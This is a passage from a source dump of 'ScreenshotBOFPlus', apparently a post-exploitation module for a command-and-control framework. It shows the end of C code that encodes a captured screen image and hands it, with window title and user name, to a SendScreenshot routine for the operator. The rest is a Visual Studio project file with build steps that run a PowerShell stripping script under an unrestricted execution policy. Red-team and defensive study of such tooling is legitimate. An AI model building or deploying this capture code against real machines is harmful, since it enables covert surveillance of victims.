IWICBitmapFrameEncode_SetPixelFormat(frame, &pixel_format); 214 | } 215 | if (SUCCEEDED(hr)) { 216 | hr = IWICBitmapFrameEncode_WriteSource(frame, (IWICBitmapSource*)wic_bitmap, NULL); 217 | } 218 | if (SUCCEEDED(hr)) { 219 | hr = IWICBitmapFrameEncode_Commit(frame); 220 | } 221 | if (SUCCEEDED(hr)) { 222 | hr = IWICBitmapEncoder_Commit(encoder); 223 | } 224 | pos.QuadPart = 0; 225 | IStream_Seek(stream, pos, STREAM_SEEK_CUR, &size); 226 | SendScreenshot((char*)Memory, size.QuadPart, session, (char*)title, titleLength, (char*)user, userLength); 227 | if (frame) { 228 | IWICBitmapFrameEncode_Release(frame); 229 | } 230 | if (encoder) { 231 | IWICBitmapEncoder_Release(encoder); 232 | } 233 | if (stream) { 234 | IWICStream_Release(stream); 235 | } 236 | if (wic_bitmap) { 237 | IWICBitmap_Release(wic_bitmap); 238 | } 239 | if (factory) { 240 | IWICImagingFactory_Release(factory); 241 | } 242 | MSVCRT$free(Memory); //fix memory leaks 243 | done: 244 | GDI32$DeleteObject(hbmScreen); 245 | GDI32$DeleteObject(hdcMemDC); 246 | User32$ReleaseDC(NULL, hdcScreen); 247 | return 0; 248 | } 249 | -------------------------------------------------------------------------------- /ScreenshotBOFPlus/ScreenshotBOFPlus.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | BOF 6 | Win32 7 | 8 | 9 | Debug 10 | Win32 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | BOF 18 | x64 19 | 20 | 21 | Debug 22 | x64 23 | 24 | 25 | Release 26 | x64 27 | 28 | 29 | 30 | 16.0 31 | Win32Proj 32 | {c04ab0f3-f7e1-4996-9cfa-d1337332ef29} 33 | ScreenshotBOFPlus 34 | 10.0 35 | ScreenshotBOFPlus 36 | 37 | 38 | 39 | Application 40 | true 41 | v142 42 | Unicode 43 | 44 | 45 | Application 46 | false 47 | v142 48 | true 49 | Unicode 50 | 51 | 52 | Application 53 | true 54 | v142 55 | Unicode 56 | 57 | 58 | Application 59 | false 60 | v142 61 | true 62 | Unicode 63 | 64 | 65 | v142 66 | Console 67 | 68 | 69 | 70 | 71 | Console 72 | 73 | v142 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | $(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj;*.cdf;*.cache;*.obj;*.obj.enc;*.ilk;*.ipdb;*.iobj;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi;$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o;$(ExtensionsToDeleteOnClean) 97 | 98 | $(SolutionDir)bin\$(Configuration)\ 99 | intermediary\$(Configuration)\$(Platform)\ 100 | $(ProjectName)x64 101 | 102 | 103 | $(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.obj;*.cdf;*.cache;*.obj;*.obj.enc;*.ilk;*.ipdb;*.iobj;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi;$(ExtensionsToDeleteOnClean) 104 | 105 | $(SolutionDir)bin\$(Configuration)\ 106 | $(ProjectName)x32 107 | intermediary\$(Configuration)\x86\ 108 | 109 | 110 | $(SolutionDir)bin\$(Configuration)\ 111 | $(ProjectName)64 112 | 113 | 114 | $(SolutionDir)bin\$(Configuration)\ 115 | $(ProjectName)32 116 | 117 | 118 | $(SolutionDir)bin\$(Configuration)\ 119 | $(ProjectName)32 120 | 121 | 122 | $(SolutionDir)bin\$(Configuration)\ 123 | $(ProjectName)64 124 | 125 | 126 | 127 | EnableAllWarnings 128 | true 129 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 130 | false 131 | 132 | 133 | Level1 134 | 135 | 136 | Console 137 | true 138 | 139 | 140 | 141 | 142 | Level4 143 | true 144 | true 145 | true 146 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 147 | false 148 | Level1 149 | 150 | 151 | 152 | 153 | Console 154 | true 155 | true 156 | true 157 | 158 | 159 | 160 | 161 | EnableAllWarnings 162 | true 163 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 164 | false 165 | true 166 | Level1 167 | 168 | 169 | Console 170 | true 171 | 172 | 173 | 174 | 175 | Level4 176 | true 177 | true 178 | true 179 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 180 | false 181 | Level1 182 | 183 | 184 | Console 185 | true 186 | true 187 | true 188 | 189 | 190 | 191 | 192 | /c /Fo"intermediary\BOF\x64\source" 193 | 194 | 195 | None 196 | false 197 | BOF;%(PreprocessorDefinitions) 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | Level1 222 | 223 | 224 | xcopy /y "$(SolutionDir)$(ProjectName)\intermediary\$(Configuration)\$(Platform)\source.obj" "$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o*"; 225 | powershell -ExecutionPolicy Unrestricted -command "& { . '$(SolutionDir)$(ProjectName)\resources\strip_bof.ps1'; strip-bof -Path '$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj' }" 226 | 227 | 228 | 229 | 230 | /c /Fo"intermediary\BOF\x86\source" 231 | 232 | 233 | None 234 | false 235 | BOF;%(PreprocessorDefinitions) 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | Level1 257 | 258 | 259 | xcopy /y "$(SolutionDir)$(ProjectName)\intermediary\$(Configuration)\x86\source.obj" "$(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.o*"; 260 | powershell -ExecutionPolicy Unrestricted -command "& { . '$(SolutionDir)$(ProjectName)\resources\strip_bof.ps1'; strip-bof -Path '$(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.obj' }" 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | --------------------------------------------------------------------------------